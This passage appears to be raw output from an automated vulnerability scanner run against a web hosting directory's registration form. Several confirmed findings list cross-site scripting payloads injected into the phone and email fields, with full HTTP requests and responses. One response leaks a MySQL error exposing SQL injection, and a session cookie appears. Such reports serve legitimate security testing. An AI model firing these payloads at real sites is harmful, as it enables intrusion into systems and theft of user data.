<option value="0">Wholesale/Reseller</option>
<option value='5F82287B94E338F2B152311D697A844BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='5F82287B94E338F2F32AEAFFC7CA34D66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='5F82287B94E338F2304128E8284884186F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='5F82287B94E338F258489BBEA67D04F76F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST '"--></style></script><script>alert(0x001ED7)</script>
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001ED7)%3c%2fscript%3e&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:00:57 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5F82287B94E338F2CBD0FB456DCA2A44C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='5F82287B94E338F2DC2263C782A04A346F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='5F82287B94E338F2DF0C8D7D0DBEAA19C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F209E3B6004E71CBDFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='5F82287B94E338F21EE073EB271DD1B36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5F82287B94E338F2BDCF0EC73BD738A7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='5F82287B94E338F2F62DCF74A38ECF18C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='5F82287B94E338F231D205511AD11F5E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='5F82287B94E338F2E31E545CE379FE73C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='5F82287B94E338F21DC6231389FA67836F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5F82287B94E338F2036A12309C3D6538C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='5F82287B94E338F28679AA402E248479C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='5F82287B94E338F2BCF5FF71B0858F78C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F2FC739CA8D7A94C10C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='5F82287B94E338F2F6FAFD2D33A518EDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5F82287B94E338F2E0695D18BE020C1AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='5F82287B94E338F25CCA42901B6F5B246F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='5F82287B94E338F20B7B5BCBF0BD23236F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='5F82287B94E338F25B3C036123D048DA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST '"--></style></script><script>alert(0x001ED8)</script>
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 523
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001ED8)%3c%2fscript%3e&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:01:05 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 333
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001ed8)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''"--></style></script><script>netsparker(0x001ed8)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST '"--></style></script><script>alert(0x001ED9)</script>
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 523
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001ED9)%3c%2fscript%3e&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:01:06 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; 